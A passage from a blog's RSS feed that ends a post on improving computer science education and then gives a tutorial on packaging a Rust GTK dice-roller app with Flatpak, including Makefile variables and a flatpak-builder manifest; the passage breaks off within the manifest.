thing. This means having teaching assistants (and paying them!) who can help students beyond just answering questions about their homework.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Even just an effective Python or Scheme curriculum at the 100 level would be a big improvement, but it&amp;rsquo;s not enough. We need to teach students about &lt;em&gt;computers&lt;/em&gt; themselves.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;After the first foray into programming, take time to teach students about the UNIX command line. (If you&amp;rsquo;re really, really committed to Windows for some reason, PowerShell is a great piece of software too!)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Show students how things they&amp;rsquo;re familiar with - graphical file managers, for instance - interact with these new command line skills, and how their programming languages interact with those.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Commit to teaching a standardized environment that all students have access to. Ubuntu LTS is great for this, because people with their own computer can run it in a VM and the school can provide computers, and adventurous Windows users can use WSL.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And of course, mathematics is the foundation of computer science.&#xA;Blending that perspective with more practical elements is important so that students learning algorithms can implement them in the real world, and students building software can analyze it appropriately. Alongside the purely mathematical understanding and models of computing should come some exposure to &amp;ldquo;weird&amp;rdquo; programming languages like Haskell, Erlang, Prolog, Elm, etc.&lt;/p&gt;&#xA;&lt;p&gt;These are hard changes for a lot of departments, especially those with faculty that hasn&amp;rsquo;t writted production software in decades, or has only used a non-UNIX OS for a long time. I don&amp;rsquo;t think that there&amp;rsquo;s any good reason to force students to figure this stuff out on their own.&lt;/p&gt;&#xA;&lt;p&gt;Students who have a good understanding of theory, competence in a standard UNIX environment with some language of choice, and some exposure to other languages will be better professors, better engineers, and better web developers. Let&amp;rsquo;s improve this field for the future of computing!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A commenter on Lobste.rs pointed out that there are some great resources from MIT around learning tooling and build systems: &lt;a href=&#34;https://lobste.rs/s/ti1k98/missing_semester_your_cs_education_mit&#34;&gt;The Missing Semester of Your CS Education&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;Cross, Hendrix, and Umphress, 2004. DOI 10.1109/FIE.2004.1408803&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;This is why I think Python 3 is a better teaching language than Java, but that&amp;rsquo;s beside the point here.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;Example given by &lt;a href=&#34;https://hackers.town/@feonixrift/103761036258585619&#34;&gt;feonixrift&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Packaging Desktop Apps With Flatpak</title>
      <link>https://nora.codes/tutorial/packaging-desktop-apps-with-flatpak/</link>
      <pubDate>Tue, 10 Sep 2019 15:00:00 -0500</pubDate>
      <guid>https://nora.codes/tutorial/packaging-desktop-apps-with-flatpak/</guid>
      <description>&lt;p&gt;As mentioned in the &lt;a href=&#34;./tutorial/speedy-desktop-apps-with-gtk-and-rust/&#34;&gt;previous post&lt;/a&gt;, the web&#xA;platform is popular for creating apps that would make plenty of sense as desktop software.&#xA;This is partly because it unifies many platforms, but mostly it&amp;rsquo;s because it solves&#xA;the &lt;strong&gt;distribution problem&lt;/strong&gt;. That is, having written a program, how do I get it into the&#xA;hands of users?&lt;/p&gt;&#xA;&lt;p&gt;Consider the process of installing a desktop app for a user with a fresh install of their&#xA;operating system:&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;As mentioned in the &lt;a href=&#34;./tutorial/speedy-desktop-apps-with-gtk-and-rust/&#34;&gt;previous post&lt;/a&gt;, the web&#xA;platform is popular for creating apps that would make plenty of sense as desktop software.&#xA;This is partly because it unifies many platforms, but mostly it&amp;rsquo;s because it solves&#xA;the &lt;strong&gt;distribution problem&lt;/strong&gt;. That is, having written a program, how do I get it into the&#xA;hands of users?&lt;/p&gt;&#xA;&lt;p&gt;Consider the process of installing a desktop app for a user with a fresh install of their&#xA;operating system:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the installer for the application&lt;/li&gt;&#xA;&lt;li&gt;Execute the installer&lt;/li&gt;&#xA;&lt;li&gt;Run the application&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On the other hand, the web platform simplifies all of that into a single step:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the application in the web browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Package managers remove the requirement to find and execute unvetted installation code,&#xA;but they have other flaws, such as requiring specific packaging for each operating system&#xA;distribution (Windows, Ubuntu/Debian, Arch, Fedora, CentOS, Nix, etc). Someone has to do&#xA;this work, whether or not the software developer themselves take it on.&lt;/p&gt;&#xA;&lt;p&gt;Flatpak is one way to distribute applications in a more standardized way, and this post&#xA;demonstrates how to roll up the application and all its dependencies into a Flatpak&#xA;so that users can easily install it.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-makefile&#34;&gt;The Makefile&lt;/h2&gt;&#xA;&lt;p&gt;The Makefile in the last post was extremely simple. This one is a bit more general, and&#xA;thus a bit more complicated. Firstly, it needs to be changed to support the &lt;a href=&#34;https://www.gnu.org/prep/standards/html_node/Makefile-Conventions.html&#34;&gt;Makefile&#xA;conventions&lt;/a&gt;&#xA;recommended by the GNU project, primarily by abstracting the system directories and&#xA;installation programs. At the top of the &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/fb1a884a811c58791211fa0e51d29c09eb802baf/Makefile&#34;&gt;new Makefile&lt;/a&gt;, there&amp;rsquo;s the following code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-make&#34; data-lang=&#34;make&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Install to /usr unless otherwise specified, such as `make PREFIX=/app`&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PREFIX=/usr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# What to run to install various files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALL=install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Run to install the actual binary&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALL_PROGRAM=&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;$(&lt;/span&gt;INSTALL&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Run to install application data, with differing permissions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALL_DATA=&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;$(&lt;/span&gt;INSTALL&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)&lt;/span&gt; -m &lt;span style=&#34;color:#00f&#34;&gt;644&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Directories into which to install the various files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bindir=&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;$(&lt;/span&gt;DESTDIR&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)$(&lt;/span&gt;PREFIX&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)&lt;/span&gt;/bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sharedir=&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;$(&lt;/span&gt;DESTDIR&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)$(&lt;/span&gt;PREFIX&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;)&lt;/span&gt;/share&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, in the &lt;code&gt;install&lt;/code&gt; and &lt;code&gt;uninstall&lt;/code&gt; targets, rather than simply &lt;code&gt;cp&lt;/code&gt;ing files into the&#xA;correct places, &lt;code&gt;$(INSTALL_PROGRAM)&lt;/code&gt; and &lt;code&gt;$(INSTALL_DATA)&lt;/code&gt; are used, and every filepath is&#xA;prefixed with &lt;code&gt;$(sharedir)&lt;/code&gt; or &lt;code&gt;$(bindir)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This way, if someone wants to install this program onto a distribution that requires&#xA;installing into a weird place like &lt;code&gt;/var/&amp;lt;program name&amp;gt;/whatever&lt;/code&gt;, they can just set the&#xA;&lt;code&gt;PREFIX&lt;/code&gt; variable - and we can use it to do the same for the Flatpak.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-flatpak-works&#34;&gt;How Flatpak Works&lt;/h2&gt;&#xA;&lt;p&gt;Flatpak packages use a number of Linux kernel technologies (&lt;code&gt;cgroups&lt;/code&gt;, namespaces, seccomp,&#xA;and bind mounts) and some open standards from the Open Container Initiative to provide a&#xA;universal and standardized way to distribute applications. It provides a runtime on which&#xA;bundled libraries and applications can be executed (more info at the &lt;a href=&#34;http://docs.flatpak.org/en/latest/basic-concepts.html&#34;&gt;official docs&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;The critical aspects for application developers and users are &lt;strong&gt;security&lt;/strong&gt; through isolation&#xA;and &lt;strong&gt;dependability&lt;/strong&gt; due to built-in dependency management, as well as &lt;strong&gt;ease of use&lt;/strong&gt; in&#xA;terms of installation.&lt;/p&gt;&#xA;&lt;h2 id=&#34;making-a-flatpak&#34;&gt;Making a Flatpak&lt;/h2&gt;&#xA;&lt;p&gt;Making a Flatpak requres a program called &lt;code&gt;flatpak-builder&lt;/code&gt;, in addition to the Flatpak&#xA;tools themselves. In addition, we need a few extra components:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Add flathub and the gnome-nightly repo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flatpak remote-add --user --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flatpak remote-add --user --if-not-exists gnome-nightly https://sdk.gnome.org/gnome-nightly.flatpakrepo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Install the gnome-nightly Sdk and Platform runtime&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flatpak install --user gnome-nightly org.gnome.Sdk org.gnome.Platform&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Install the required rust-stable extension from flathub&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flatpak install --user flathub org.freedesktop.Sdk.Extension.rust-stable//18.08&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With these installed, we need a Flatpak metadata file. We&amp;rsquo;ll create the development&#xA;version first. So, in the &lt;code&gt;data&lt;/code&gt; directory of the repo, the&#xA;&lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/fb1a884a811c58791211fa0e51d29c09eb802baf/data/codes.nora.gDiceRoller-development.json&#34;&gt;&lt;code&gt;codes.nora.gDiceRoller-development.json&lt;/code&gt;&lt;/a&gt; file will contain the app&amp;rsquo;s build metadata:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;app-id&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;codes.nora.gDiceRoller&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;tags&amp;#34;&lt;/span&gt; : [ &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;development&amp;#34;&lt;/span&gt; ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This section establishes the name of this application (&lt;code&gt;app-id&lt;/code&gt;), which must be globally&#xA;unique, and any tags that should be applied to the specific version built by this Flatpak&#xA;specification.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;runtime&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;org.gnome.Platform&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;runtime-version&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;3.32&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;sdk&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;org.gnome.Sdk&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;sdk-extensions&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;org.freedesktop.Sdk.Extension.rust-stable&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This section tells Flatpak and &lt;code&gt;flatpak-builder&lt;/code&gt; which pieces of software and which&#xA;libraries are needed to build and run the application.&#xA;The &lt;code&gt;runtime&lt;/code&gt; should pretty much always be &lt;code&gt;org.gnome.Platform&lt;/code&gt;, while&#xA;the &lt;code&gt;runtime-version&lt;/code&gt; is dictated by your requirements. Remember that newer versions are&#xA;available to fewer users, typically.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sdk&lt;/code&gt;, like &lt;code&gt;runtime&lt;/code&gt;, is usually the same, but &lt;code&gt;sdk-extensions&lt;/code&gt; depends heavily on which&#xA;tools and languages you use to create the application. In this case, that&amp;rsquo;s the Rust&#xA;extension we installed earlier.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;command&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;codes.nora.gDiceRoller&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;desktop-file-name-suffix&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34; ☢️&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;finish-args&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;--socket=x11&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;--socket=wayland&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;--device=dri&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First off, the &lt;code&gt;command&lt;/code&gt; specifies which file should be run to actually start the application.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;desktop-file-name-suffix&lt;/code&gt; specifies that a &amp;ldquo;radioactive&amp;rdquo; symbol should be added to the end of the&#xA;application&amp;rsquo;s desktop file. This is a common practice for Flatpak devs distributing both&#xA;a development and a production version of an app, so people can install both and tell&#xA;them apart in their application directory.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;finish-args&lt;/code&gt; section specifies that the program needs access to the various desktop&#xA;subsystems, so it can actually draw windows on the screen. I don&amp;rsquo;t, for instance, specify&#xA;&lt;code&gt;--socket=network&lt;/code&gt; or other external I/O, because the application doesn&amp;rsquo;t need it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;build-options&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;append-path&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;/usr/lib/sdk/rust-stable/bin&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;build-args&amp;#34;&lt;/span&gt; : [],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;env&amp;#34;&lt;/span&gt; : {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;CARGO_HOME&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;/run/build/gRiceRoller/cargo&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;RUSTFLAGS&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;--error-format=short --remap-path-prefix =../&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;RUST_BACKTRACE&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;build-options&lt;/code&gt; simply sets the appropriate location for the Rust build tools&#xA;and turns on backtraces for debugging.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;modules&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;gDiceRoller&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;buildsystem&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;simple&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;build-commands&amp;#34;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;make&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;make install PREFIX=/app&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;sources&amp;#34;&lt;/span&gt; : [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;dir&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;../&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    